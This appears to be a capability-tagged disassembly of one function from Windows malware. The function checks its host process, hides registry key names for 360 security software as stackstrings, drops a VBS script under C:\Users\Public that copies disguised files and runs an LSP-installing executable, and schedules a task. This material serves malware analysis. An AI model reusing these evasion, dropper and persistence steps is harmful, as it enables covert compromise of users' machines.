Function at 0x409b40
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Query or enumerate registry value
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x435042
mov eax, dword fs:[0]
push eax
sub esp, 0x5c8
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x5c0], eax
push ebx
push esi
push edi
mov eax, dword [0x442754]
xor eax, esp
push eax
lea eax, [esp + 0x5d8]
mov dword fs:[0], eax
mov esi, ecx
mov ebx, edx
mov ecx, 0x43aa5c
mov eax, esi
jmp 0x409b90
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409bb0
test dl, dl
je 0x409bac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409bb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x409b90
xor eax, eax
jmp 0x409bb5
sbb eax, eax
sbb eax, 0xffffffff
xor edi, edi
cmp eax, edi
jne 0x409d12
mov eax, dword [0x45f414]
mov ecx, dword [eax]
push str.C:WindowsSysWow64explorer.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x409cb3
mov edx, dword [0x45f414]
mov eax, dword [edx]
push str.C:Windowsexplorer.exe
push eax
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x409cb3
mov ecx, dword [0x45f414]
mov edx, dword [ecx]
push str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
push edx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x409cb3
mov eax, dword [0x45f414]
mov ecx, dword [eax]
push str.C:WindowsSysWOW64inetsrvw3wp.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x409cb3
call fcn.00402f60
test eax, eax
je 0x409c73
lea edx, [esp + 0x104]
push 0x43b168
push edx
call fcn.0041c484
lea eax, [esp + 0x10c]
add esp, 8
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409c60
lea ecx, [esp + 0x104]
jmp 0x40a1b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x108]
push 0x43b1b0
push eax
call fcn.0041c484
lea eax, [esp + 0x110]
add esp, 0xc
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409ca0
lea ecx, [esp + 0x104]
jmp 0x40a1b3
mov eax, dword [0x45f414]
mov ecx, dword [eax]
push ecx
push str._x_
lea edx, [esp + 0x1d4]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e0]
push eax
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x409cf3
mov edx, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
push edx
call fcn.00412810
add esp, 8
xor eax, eax
jmp 0x40a1c9
mov ecx, 0x43aafc
mov eax, esi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409d40
test dl, dl
je 0x409d3c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409d40
add eax, 2
add ecx, 2
test dl, dl
jne 0x409d20
xor eax, eax
jmp 0x409d45
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x40a0cf
mov eax, dword [0x45f414]
mov ecx, dword [eax]
push str.C:WindowsSysWow64explorer.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x40a083
mov edx, dword [0x45f414]
mov eax, dword [edx]
push str.C:Windowsexplorer.exe
push eax
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x40a083
mov ecx, dword [0x45f414]
mov edx, dword [ecx]
push str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
push edx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x40a083
mov eax, dword [0x45f414]
mov ecx, dword [eax]
push str.C:WindowsSysWOW64inetsrvw3wp.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x40a083
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x18]
push edx
push 0x20119
push 0
lea eax, [esp + 0xbc]
push eax
mov edi, 4
push reloc.WS2_32.dll_bind
mov dword [esp + 0xc4], 0x54464f53
mov dword [esp + 0xc8], 0x45524157
mov bl, 0x5c
mov dword [esp + 0xcc], 0x4f575c5c
mov dword [esp + 0xd0], 0x33343657
mov dword [esp + 0xd4], 0x646f4e32
mov dword [esp + 0xd8], 0x335c5c65
mov dword [esp + 0xdc], 0x61533036
mov dword [esp + 0xe0], 0x5c5c6566
mov dword [esp + 0xe4], 0x65666173
mov dword [esp + 0xe8], 0x6e6f6d
mov dword [esp + 0xa8], 0x556d7648
mov dword [esp + 0xac], 0x41726573
mov dword [esp + 0xb0], 0x6f697463
mov word [esp + 0xb4], 0x6e
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], edi
call esi
test eax, eax
jne 0x409ee4
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x409ee4
cmp dword [esp + 0x1c], 1
jne 0x409ee4
mov eax, dword [ebp + 8]
push 0x43b1f0
push eax
mov edi, 0x3e
call fcn.00412810
add esp, 8
xor eax, eax
jmp 0x40a1c9
lea ecx, [esp + 0x18]
push ecx
push 0x20119
push 0
lea edx, [esp + 0xe4]
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0xec], 0x54535953
mov word [esp + 0xf0], 0x4d45
mov byte [esp + 0xf2], bl
mov dword [esp + 0xf3], 0x72727543
mov dword [esp + 0xf7], 0x43746e65
mov dword [esp + 0xfb], 0x72746e6f
mov dword [esp + 0xff], 0x65536c6f
mov byte [esp + 0x103], 0x74
mov byte [esp + 0x104], bl
mov dword [esp + 0x105], 0x76726553
mov dword [esp + 0x109], 0x73656369
mov byte [esp + 0x10d], bl
mov dword [esp + 0x10e], 0x48303633
mov word [esp + 0x112], 0x6d76
mov byte [esp + 0x114], 0
mov dword [esp + 0xbc], 0x72617453
mov word [esp + 0xc0], 0x74
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], edi
call esi
test eax, eax
jne 0x40a003
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x28]
push edx
push 0
lea eax, [esp + 0xb8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40a003
cmp dword [esp + 0x1c], 1
jne 0x40a003
mov edx, dword [ebp + 8]
push 0x43b230
lea edi, [eax + 0x3e]
push edx
call fcn.00412810
add esp, 8
xor eax, eax
jmp 0x40a1c9
call fcn.00402f60
test eax, eax
je 0x40a043
lea eax, [esp + 0x104]
push 0x43b168
push eax
call fcn.0041c484
lea eax, [esp + 0x10c]
add esp, 8
lea edx, [eax + 1]
jmp 0x40a030
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a030
lea ecx, [esp + 0x104]
jmp 0x40a1b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x108]
push 0x43b1b0
push eax
call fcn.0041c484
lea eax, [esp + 0x110]
add esp, 0xc
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a070
lea ecx, [esp + 0x104]
jmp 0x40a1b3
mov eax, dword [0x45f414]
mov ecx, dword [eax]
push ecx
push str._x_
lea edx, [esp + 0x1d4]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e0]
push eax
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40a0c3
jmp 0x409cfa
mov ecx, 0x43ac7c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a0f6
test dl, dl
je 0x40a0f2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a0f6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a0d6
xor eax, eax
jmp 0x40a0fb
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x40a2d1
cmp byte [0x443a79], 0
je 0x40a176
push 0x439d94
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40a12f
mov eax, dword [ebp + 8]
push 0x43b270
push eax
mov edi, 0x4b
jmp 0x40a1bc
mov esi, dword [ebp + 8]
push esi
call fcn.00404b00
add esp, 4
test eax, eax
je 0x40a1c4
lea ecx, [esp + 0x104]
push 0x43b2c0
push ecx
call fcn.0041c484
lea eax, [esp + 0x10c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a162
sub eax, edx
lea edx, [esp + 0x104]
push edx
push esi
jmp 0x40a1ba
push 0x43b308
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40a1ed
lea eax, [esp + 0x104]
push 0x43b328
push eax
call fcn.0041c484
lea eax, [esp + 0x10c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a1a5
lea ecx, [esp + 0x104]
sub eax, edx
mov edx, dword [ebp + 8]
push ecx
push edx
mov edi, eax
call fcn.00412810
add esp, 8
mov eax, 1
mov ecx, dword [esp + 0x5d8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x5c0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
sub esp, 0x1c
mov eax, 0x43982c
mov esi, esp
mov dword [esp + 0x34], esp
call fcn.00414ea0
sub esp, 0x1c
mov dword [esp + 0x618], 0
mov eax, str.C:UsersPublicUpdate360.vbs
mov esi, esp
mov dword [esp + 0x58], esp
call fcn.00414ea0
mov dword [esp + 0x618], 0xffffffff
call fcn.00403dc0
add esp, 0x38
test eax, eax
lea eax, [esp + 0x104]
je 0x40a2ad
push 0x43b3c0
push eax
call fcn.0041c484
lea eax, [esp + 0x10c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a254
sub eax, edx
mov edx, dword [ebp + 8]
lea ecx, [esp + 0x104]
push ecx
push edx
mov edi, eax
call fcn.00412810
push 0x439edc
push 0x43b308
call fcn.0041ca5f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409d0b
push str.Dim_shell__command_nSet_shell__CreateObject__WScript.Shell___ncommand___cmd.exe__c_copy__Y__b_C:UsersPublicUpdate4d5a90.docC:UsersPublicUpdateimageres_C:UsersPublicUpdate0923.dll__nshell.Run_command__0__True_nshell.Run__C:UsersPublicUpdateWindowsSecurity.exe__InstallLsp_C:UsersPublicUpdate0923.dll___1__false_nSet_shell__Nothing_n
push 0x43a2bc
push esi
call fcn.0041d37b
add esp, 0xc
push esi
call fcn.0041cc56
add esp, 4
jmp 0x40a1c4
push 0x43b578
push eax
call fcn.0041c484
lea eax, [esp + 0x10c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a2c5
jmp 0x40a1ac
mov ecx, 0x43ad08
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a2f8
test dl, dl
je 0x40a2f4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a2f8
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a2d8
xor eax, eax
jmp 0x40a2fd
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x40a1c4
mov dword [esp + 0x14], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call fcn.004063c0
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
mov dword [esp + 0x1c], eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x14]
push eax
push 0x436720
push 1
push 0
push 0x436930
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40a367
mov ecx, dword [ebp + 8]
push 0x43b5d0
push ecx
mov edi, 0x42
call fcn.00412810
add esp, 8
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x40a1c4
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea edx, [esp + 0x74]
push edx
call esi
mov dword [esp + 0x5e0], 1
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x80]
mov edi, dword [esp + 0x74]
mov ebx, dword [esp + 0x78]
lea edx, [esp + 0x64]
push edx
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], ecx
call esi
mov ecx, dword [esp + 0x68]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x6c]
mov dword [esp + 0x98], ecx
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x70]
lea ecx, [esp + 0x54]
push ecx
mov dword [esp + 0xa0], edx
mov dword [esp + 0xa4], eax
call esi
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x54]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x60]
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], edx
call esi
mov byte [esp + 0x5e0], 4
mov esi, dword [esp + 0x8c]
sub esp, 0x10
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], ebx
mov dword [eax + 8], esi
mov esi, dword [esp + 0xa0]
mov dword [eax + 0xc], esi
mov esi, dword [esp + 0xa4]
sub esp, 0x10
mov eax, esp
mov dword [eax], esi
mov esi, dword [esp + 0xb8]
mov dword [eax + 4], esi
mov esi, dword [esp + 0xbc]
mov dword [eax + 8], esi
mov esi, dword [esp + 0xc0]
mov dword [eax + 0xc], esi
mov esi, dword [esp + 0x54]
mov ecx, dword [esp + 0x34]
mov edx, dword [ecx]
sub esp, 0x10
mov eax, esp
mov dword [eax], esi
mov esi, dword [esp + 0x68]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x6c]
mov dword [eax + 8], esi
mov esi, dword [esp + 0x70]
mov dword [eax + 0xc], esi
mov esi, dword [esp + 0x74]
sub esp, 0x10
mov eax, esp
mov dword [eax], esi
mov esi, dword [esp + 0x88]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x8c]
mov dword [eax + 8], esi
mov esi, dword [esp + 0x90]
mov dword [eax + 0xc], esi
mov eax, dword [edx + 0x28]
push ecx
call eax
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [esp + 0x44]
push ecx
mov edi, eax
call esi
lea edx, [esp + 0x54]
push edx
call esi
lea eax, [esp + 0x64]
push eax
call esi
lea ecx, [esp + 0x74]
push ecx
mov dword [esp + 0x5e4], 0xffffffff
call esi
test edi, edi
jns 0x40a508
mov edx, dword [ebp + 8]
push 0x43b614
push edx
mov edi, 0x3b
call fcn.00412810
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
add esp, 8
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x40a1c4
lea eax, [esp + 0x30]
push eax
mov edi, 0x4398ac
call fcn.00401a20
mov dword [esp + 0x5e0], 5
mov eax, dword [eax]
test eax, eax
je 0x40a52c
mov ecx, dword [eax]
jmp 0x40a52e
xor ecx, ecx
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
lea esi, [esp + 0x28]
push esi
push ecx
push eax
mov eax, dword [edx + 0x1c]
call eax
lea edi, [esp + 0x30]
mov esi, eax
mov dword [esp + 0x5e0], 0xffffffff
call fcn.00401ac0
test esi, esi
jns 0x40a587
mov ecx, dword [ebp + 8]
push 0x43b650
push ecx
mov edi, 0x36
call fcn.00412810
mov eax, dword [esp + 0x1c]
mov edx, dword [eax]
add esp, 8
push eax
mov eax, dword [edx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x40a1c4
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x18]
mov ecx, dword [eax]
lea edx, [esp + 0x2c]
push edx
push esi
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
jns 0x40a5d8
cmp eax, 0x80070002
jne 0x40a5c0
mov ecx, dword [ebp + 8]
push 0x43b688
push ecx
mov edi, 0x36
call fcn.00412810
add esp, 8
jmp 0x40a5fa
mov edx, dword [ebp + 8]
push 0x43b6c0
push edx
mov edi, 0x2a
call fcn.00412810
add esp, 8
jmp 0x40a5fa
mov eax, dword [ebp + 8]
push 0x43b6ec
push eax
mov edi, 0x34
call fcn.00412810
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
add esp, 8
push eax
call edx
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
jmp 0x40a1c9